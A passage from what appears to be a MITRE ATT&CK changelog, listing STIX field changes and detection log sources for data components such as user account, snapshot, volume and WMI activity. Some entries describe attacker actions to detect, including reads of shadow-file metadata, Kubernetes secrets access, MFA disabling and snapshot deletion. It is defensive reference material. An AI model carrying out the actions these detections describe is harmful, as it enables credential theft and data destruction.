changes'}, {'name': 'WinEventLog:System', 'channel': 'Service stopped or RecoveryDisabled set via REAgentC'}, {'name': 'esxi:hostd', 'channel': 'Service events'}, {'name': 'WinEventLog:WinRM', 'channel': 'EventCode=6'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'delete: Modification of systemd unit files or config for security agents'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of system configuration profiles affecting security tools'}, {'name': 'kubernetes:audit', 'channel': 'kubectl delete or patch of security pods/admission controllers'}, {'name': 'networkdevice:config', 'channel': 'write: Startup configuration changes disabling security checks'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:39:52.137000+00:00 | 2025-10-21 15:14:36.382000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0065', 'external_id': 'DC0065'}] | |
| x_mitre_log_sources | [{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-IIS-Configuration', 'channel': 'Module or ISAPI filter registration events'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7040'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:57.700000+00:00 | 2025-10-21 15:14:37.211000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0057', 'external_id': 'DC0057'}] | |
| x_mitre_log_sources | [{'name': 'esxi:vmkernel', 'channel': 'snapshot create/write events'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateSnapshot'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/SNAPSHOTS/WRITE'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:08.504000+00:00 | 2025-10-21 15:14:39.640000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0049', 'external_id': 'DC0049'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'DeleteSnapshot'}, {'name': 'esxi:hostd', 'channel': 'snapshot.removeall or snapshot file deletion'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:05.200000+00:00 | 2025-10-21 15:14:39.893000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0047', 'external_id': 'DC0047'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:18.124000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0062', 'external_id': 'DC0062'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'DescribeSnapshots'}, {'name': 'gcp:audit', 'channel': 'compute.disks.insert with sourceSnapshot parameter'}, {'name': 'AWS:CloudTrail', 'channel': 'CopySnapshot'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:42.387000+00:00 | 2025-10-21 15:14:40.482000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0058', 'external_id': 'DC0058'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'ModifySnapshotAttribute'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:11.682000+00:00 | 2025-10-21 15:14:39.957000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0052', 'external_id': 'DC0052'}] | |
| x_mitre_log_sources | [{'name': 'Persona', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--3bef4799-906c-409c-ac00-3fb7a1e352e6 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:16:50.453000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0002', 'external_id': 'DC0002'}] | |
| x_mitre_log_sources | [{'name': 'User Account', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'TGS-REQ and AS-REQ seen for new user shortly after domain-modifying process'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625'}, {'name': 'saas:okta', 'channel': 'session.impersonation.start'}, {'name': 'Okta:SystemLog', 'channel': 'eventType: user.authentication.sso, app.oauth2.token.grant'}, {'name': 'azure:signinlogs', 'channel': 'Success logs from high-risk accounts'}, {'name': 'networkdevice:syslog', 'channel': 'config access, authentication logs'}, {'name': 'ESXiLogs:authlog', 'channel': 'Unexpected login followed by encoding commands'}, {'name': 'saas:okta', 'channel': 'Unusual OAuth app requesting message-read scopes for Slack/Teams/Jira'}, {'name': 'NSM:Connections', 'channel': 'Accepted password or publickey for user from remote IP'}, {'name': 'macos:unifiedlog', 'channel': 'successful sudo or authentication for account not normally associated with admin actions'}, {'name': 'esxi:vpxa', 'channel': 'user login from unexpected IP or non-admin user role'}, {'name': 'm365:signin', 'channel': 'Sign-in from anomalous location or impossible travel condition'}, {'name': 'networkdevice:syslog', 'channel': 'User privilege escalation to level 15/root prior to destructive commands'}, {'name': 'networkdevice:syslog', 'channel': 'authorization/accounting logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769,1200,1202'}, {'name': 'linux:syslog', 'channel': 'sudo/date/timedatectl execution by non-standard users'}, {'name': 'saas:audit', 'channel': 'Repeated requests to SMS-generating endpoints using anomalous or new user agents, IP ranges, or geographies.'}, {'name': 'azure:signinlogs', 'channel': 'Multiple MFA challenge requests without successful primary login'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests'}, {'name': 'auditd:AUTH', 'channel': 'pam_unix or pam_google_authenticator invoked repeatedly within short interval'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4768, 4769, 4770'}, {'name': 'NSM:Connections', 'channel': 'Repeated failed authentication attempts or replay patterns'}, {'name': 'azure:signinlogs', 'channel': 'TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events'}, {'name': 'azure:signinlogs', 'channel': 'SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times'}, {'name': 'AWS:CloudTrail', 'channel': 'sts:GetFederationToken'}, {'name': 'm365:unified', 'channel': 'Delegated permission grants without user login event'}, {'name': 'saas:salesforce', 'channel': 'API login using access_token without login history'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'Operation=UserLogin'}, {'name': 'esxi:auth', 'channel': 'interactive shell or SSH access preceding storage enumeration'}, {'name': 'NSM:Connections', 'channel': 'Successful login without expected MFA challenge'}, {'name': 'macos:unifiedlog', 'channel': 'Login success without MFA step'}, {'name': 'kubernetes:apiserver', 'channel': 'get/list requests to /api/v1/secrets or /api/v1/namespaces/*/serviceaccounts'}, {'name': 'auditd:SYSCALL', 'channel': 'pam_authenticate, sshd'}, {'name': 'macos:unifiedlog', 'channel': 'log show --predicate \'eventMessage contains "Authentication"\''}, {'name': 'esxi:vpxd', 'channel': '/var/log/vmware/vpxd.log'}, {'name': 'azure:signinlogs', 'channel': 'Unusual Token Usage or Application Consent'}, {'name': 'networkdevice:syslog', 'channel': 'Failed and successful logins to network devices outside approved admin IP ranges'}, {'name': 'azure:signinlogs', 'channel': 'OperationName=SetDomainAuthentication OR Set-FederatedDomain'}, {'name': 'network:auth', 'channel': 'repeated successful authentications with previously unknown accounts or anomalous password acceptance'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in with unfamiliar location/device + portal navigation'}, {'name': 'm365:signinlogs', 'channel': 'UserLoginSuccess'}, {'name': 'saas:salesforce', 'channel': 'Login'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive format command'}, {'name': 'networkdevice:syslog', 'channel': 'admin login events'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive command sequence'}, {'name': 'azure:signinlogs', 'channel': 'Login from newly created account'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of ssh, scp, or sftp using previously unseen credentials or keys'}, {'name': 'm365:unified', 'channel': 'login using refresh_token with no preceding authentication context'}, {'name': 'saas:googleworkspace', 'channel': 'API access without user login'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Interactive/Non-Interactive Sign-In'}, {'name': 'AWS:CloudTrail', 'channel': 'AWS IAM: ListUsers, ListRoles'}, {'name': 'gcp:workspaceaudit', 'channel': 'Token Generation via Domain Delegation'}, {'name': 'm365:signinlogs', 'channel': 'Unusual sign-in from service principal to user mailbox'}, {'name': 'macos:unifiedlog', 'channel': 'User credential prompt events without associated trusted installer package'}, {'name': 'linux:auth', 'channel': 'sshd login'}, {'name': 'saas:googleworkspace', 'channel': 'Accessed third-party credential management service'}, {'name': 'azure:signinlogs', 'channel': 'Reset password or download key from portal'}, {'name': 'linux:syslog', 'channel': 'SSH failed login'}, {'name': 'macos:unifiedlog', 'channel': 'Login failure / authorization denied'}, {'name': 'azure:signinlogs', 'channel': 'status = failure'}, {'name': 'Okta:authn', 'channel': 'authentication_failure'}, {'name': 'saas-app:auth', 'channel': 'login_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA, RADIUS, or TACACS authentication'}, {'name': 'kubernetes:apiserver', 'channel': 'authentication.k8s.io/v1beta1'}, {'name': 'm365:exchange', 'channel': 'Logon failure'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName=ConsoleLogin | eventType=AwsConsoleSignIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4624'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_AUTH'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs'}, {'name': 'macos:unifiedlog', 'channel': 'auth'}, {'name': 'm365:unified', 'channel': 'Sign-in logs'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin or AssumeRole'}, {'name': 'esxi:auth', 'channel': '/var/log/auth.log'}, {'name': 'networkdevice:syslog', 'channel': 'authentication logs'}, {'name': 'azure:signinlogs', 'channel': 'SigninSuccess'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4771, 4648'}, {'name': 'linux:syslog', 'channel': 'Failed password for invalid user'}, {'name': 'macos:unifiedlog', 'channel': 'Login Window and Authd errors'}, {'name': 'azure:signinlogs', 'channel': 'Failure Reason + UserPrincipalName'}, {'name': 'saas:okta', 'channel': 'authentication_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA or TACACS authentication failures'}, {'name': 'kubernetes:audit', 'channel': 'Failed login'}, {'name': 'm365:exchange', 'channel': 'FailedLogin'}, {'name': 'saas:auth', 'channel': 'signin_failed'}, {'name': 'saas:googleworkspace', 'channel': 'login with reused session token and mismatched user agent or IP'}, {'name': 'saas:googleworkspace', 'channel': 'Access via OAuth credentials with unusual scopes or from anomalous IPs'}, {'name': 'networkdevice:syslog', 'channel': 'authentication & authorization'}, {'name': 'WinEventLog:Security', 'channel': '4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in activity'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser'}, {'name': 'gcp:audit', 'channel': 'drive.activity'}, {'name': 'gcp:audit', 'channel': 'login.event'}, {'name': 'linux:syslog', 'channel': 'sshd[pid]: Failed password'}, {'name': 'macos:unifiedlog', 'channel': 'authd'}, {'name': 'networkdevice:syslog', 'channel': 'login failed'}, {'name': 'GCPAuditLogs:login.googleapis.com', 'channel': 'Failed sign-in events'}, {'name': 'esxi:auth', 'channel': 'SSH session/login'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4625'}, {'name': 'NSM:Connections', 'channel': 'sshd or PAM logins'}, {'name': 'saas:okta', 'channel': 'Sign-in logs / audit events'}, {'name': 'gcp:audit', 'channel': 'Sign-in logs / audit events'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs / audit events'}, {'name': 'kubernetes:audit', 'channel': 'authentication.k8s.io'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'authentication and authorization events during environmental validation phase'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:09:42.067000+00:00 | 2025-10-21 15:14:34.948000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0014', 'external_id': 'DC0014'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Security', 'channel': 'EventCode=4720'}, {'name': 'azure:audit', 'channel': 'Add user'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateUser'}, {'name': 'saas:zoom', 'channel': 'New user created'}, {'name': 'saas:slack', 'channel': 'admin.user.create'}, {'name': 'm365:unified', 'channel': 'Add user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4720, EventCode=4781'}, {'name': 'auditd:SYSCALL', 'channel': 'adduser'}, {'name': 'docker:daemon', 'channel': 'ExecCreate + usermod or useradd'}, {'name': 'auditd:SYSCALL', 'channel': 'useradd or adduser executed'}, {'name': 'networkdevice:syslog', 'channel': 'username |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:09:54.515000+00:00 | 2025-10-21 15:14:34.784000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0009', 'external_id': 'DC0009'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Security', 'channel': 'EventCode=4726, 4657'}, {'name': 'esxi:hostd', 'channel': 'method=RemoveUser or esxcli system account remove invocation'}, {'name': 'm365:unified', 'channel': 'Remove-Mailbox, Set-Mailbox'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:09:57.711000+00:00 | 2025-10-21 15:14:36.864000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0013', 'external_id': 'DC0013'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Security', 'channel': 'EventCode=4720, 4738'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4673'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole'}, {'name': 'auditd:SYSCALL', 'channel': 'open,openat,read'}, {'name': 'macos:MDM', 'channel': 'profiles -P|getaccountpolicies'}, {'name': 'AWS:CloudTrail', 'channel': 'GetAccountPasswordPolicy'}, {'name': 'azure:audit', 'channel': "operation contains 'Get*Password*Policy' OR 'List*Authentication*Policy' OR 'Get-ADDefaultDomainPasswordPolicy'"}, {'name': 'm365:unified', 'channel': "Workload=AzureActiveDirectory OR Exchange AND (Operation=Cmdlet AND Parameters contains 'Password' AND (CmdletName='Get-*' OR CmdletName='Get-OrganizationConfig'))"}, {'name': 'saas:auth', 'channel': 'Refresh token issuance or refresh token usage from new IPs or user agents'}, {'name': 'gcp:audit', 'channel': 'Directory API Access: users.list or groups.list'}, {'name': 'CloudTrail:GetCallerIdentity', 'channel': 'GetCallerIdentity'}, {'name': 'vpxd.log', 'channel': 'vCenter Management'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of user account with UID <500'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4674'}, {'name': 'windows:osquery', 'channel': 'User enumeration with creation/last modified timestamps'}, {'name': 'linux:osquery', 'channel': 'Listing of /etc/passwd and /etc/shadow metadata'}, {'name': 'saas:okta', 'channel': 'User lifecycle events'}, {'name': 'Microsoft Entra ID Audit Logs', 'channel': 'RoleManagement.Read.Directory or Directory.Read.All'}, {'name': 'azure:activity', 'channel': 'Azure CLI Operation: Microsoft.Graph/users/read'}, {'name': 'gcp:audit', 'channel': 'IAM API call: serviceAccounts.list or projects.getIamPolicy'}, {'name': 'Microsoft Graph API Logs', 'channel': 'users.list, directoryObjects.getByIds'}, {'name': 'Defender for Identity', 'channel': 'Suspicious Enumeration of Cloud Directory'}, {'name': 'Google Admin Audit', 'channel': 'users.list, groups.list'}, {'name': 'AWS:CloudTrail', 'channel': 'PassRole'}, {'name': 'gcp:iam', 'channel': 'PrincipalEmail with serviceAccountTokenCreator impersonating new identity'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole: Discovery actions tied to assumed identities outside of normal context'}, {'name': 'saas:okta', 'channel': 'User Enumeration Events'}, {'name': 'gcp:audit', 'channel': 'Directory API Access'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:17.060000+00:00 | 2025-10-21 15:14:38.578000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0010', 'external_id': 'DC0010'}] | |
| x_mitre_log_sources | [{'name': 'azure:audit', 'channel': 'Operation IN ("Add device", "Add registered users to device", "Add registered owner to device")'}, {'name': 'WinEventLog:DirectoryService', 'channel': 'EventID 5136'}, {'name': 'linux:syslog', 'channel': 'sudo or su access prior to content change'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4738, 4728, 4670'}, {'name': 'auditd:SYSCALL', 'channel': 'usermod, groupmod, passwd'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.accountsd, com.apple.opendirectoryd'}, {'name': 'saas:okta', 'channel': 'User Attribute Modified / Role Assignment Changed'}, {'name': 'm365:unified', 'channel': 'Admin Activity > Role Change or Sharing Change'}, {'name': 'gcp:audit', 'channel': 'Admin Activity > Role Change or Sharing Change'}, {'name': 'm365:unified', 'channel': 'Set-ADUser OR Set-ADAccountControl'}, {'name': 'AWS:CloudTrail', 'channel': 'UpdateLoginProfile'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4723, 4724, 4726, 4740'}, {'name': 'saas:okta', 'channel': 'user.lifecycle.delete, user.account.lock'}, {'name': 'm365:unified', 'channel': 'User excluded from MFA or MFA method registered'}, {'name': 'saas:zoom', 'channel': 'DisableMFA or RegisterNewFactor'}, {'name': 'AWS:CloudTrail', 'channel': 'AttachUserPolicy, CreatePolicyVersion, PutRolePolicy'}, {'name': 'gcp:audit', 'channel': 'google.iam.admin.v1.RoleAssignment'}, {'name': 'm365:audit', 'channel': 'Add member to role, Add app role assignment'}, {'name': 'Okta:SystemLog', 'channel': 'user.account.privilege.grant'}, {'name': 'm365:unified', 'channel': 'Add member to role, Set-Mailbox'}, {'name': 'm365:unified', 'channel': 'Set-MailboxAuditBypassAssociation or disabling Advanced Auditing'}, {'name': 'm365:unified', 'channel': 'New agent registration by non-admin user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4704'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4728, 4729, 4732, 4733, 4756, 4757'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL for usermod or /etc/group file modification'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution or directory service changes'}, {'name': 'azure:policy', 'channel': 'DisableMfaPolicy or change to ConditionalAccess rules'}, {'name': 'azure:audit', 'channel': 'Add member to role'}, {'name': 'AWS:CloudTrail', 'channel': 'AttachUserPolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateAccessKey'}, {'name': 'azure:signinLogs', 'channel': 'unusual role assumption or elevation path'}, {'name': 'saas:okta', 'channel': 'admin role granted outside approved workflows'}, {'name': 'AWS:CloudTrail', 'channel': 'role privilege expansion detected'}, {'name': 'm365:unified', 'channel': 'Add-MailboxPermission, UpdateFolderPermissions'}, {'name': 'gcp:audit', 'channel': 'Set Gmail Delegation'}, {'name': 'auditd:SYSCALL', 'channel': 'usermod, or account rename system calls'}, {'name': 'azure:audit', 'channel': 'Rename user'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-InboxRule, Set-MailboxFolderPermission'}, {'name': 'azure:audit', 'channel': 'Add service principal credentials, app password added, app role assignment'}, {'name': 'gcp:audit', 'channel': 'iam.serviceAccounts.keys.create, os-login.sshPublicKeys.add'}, {'name': 'gcp:audit', 'channel': 'API Key Created, OAuth Client Registered'}, {'name': 'kubernetes:audit', 'channel': 'create or update events for RoleBinding or ClusterRoleBinding objects'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:09:51.231000+00:00 | 2025-10-21 15:14:36.735000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0097', 'external_id': 'DC0097'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'CreateVolume'}, {'name': 'WinEventLog:Microsoft-Windows-VSS', 'channel': 'Volume Shadow Copy Creation'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:17:19.083000+00:00 | 2025-10-21 15:14:39.832000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0098', 'external_id': 'DC0098'}] | |
| x_mitre_log_sources | [{'name': 'esxi:vmkernel', 'channel': 'file delete|datastore purge'}, {'name': 'AWS:CloudTrail', 'channel': 'DeleteVolume, ModifyVolume'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:17:25.575000+00:00 | 2025-10-21 15:14:38.711000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0095', 'external_id': 'DC0095'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:47.887000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0100', 'external_id': 'DC0100'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Security', 'channel': '4673, 4674'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:38.106000+00:00 | 2025-10-21 15:14:38.841000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0092', 'external_id': 'DC0092'}] | |
| x_mitre_log_sources | [{'name': 'kubernetes:apiserver', 'channel': 'Pod spec with hostPath or privileged securityContext'}, {'name': 'AWS:CloudTrail', 'channel': 'ModifyVolume'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:35.774000+00:00 | 2025-10-21 15:14:39.109000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0008', 'external_id': 'DC0008'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:WMI', 'channel': 'Creation or modification of __EventFilter, __FilterToConsumerBinding, or CommandLineEventConsumer'}, {'name': 'WinEventLog:Microsoft-Windows-WMI-Activity/Operational', 'channel': 'EventCode=5861'}, {'name': 'WinEventLog:Application', 'channel': 'WMI Object Creation Events'}, {'name': 'WinEventLog:WMI', 'channel': 'EventCode=5857, 5858'}, {'name': 'WinEventLog:Microsoft-Windows-WMI-Activity/Operational', 'channel': 'EventCode=5857, 5860, 5861'}, {'name': 'WinEventLog:WMI', 'channel': 'EventCode=5857, 5860, 5861'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--2cd6cc81-d86e-4595-a4f0-43f5519f14e6 |
| STIX Field | Old value | New Value |
|---|---|---|
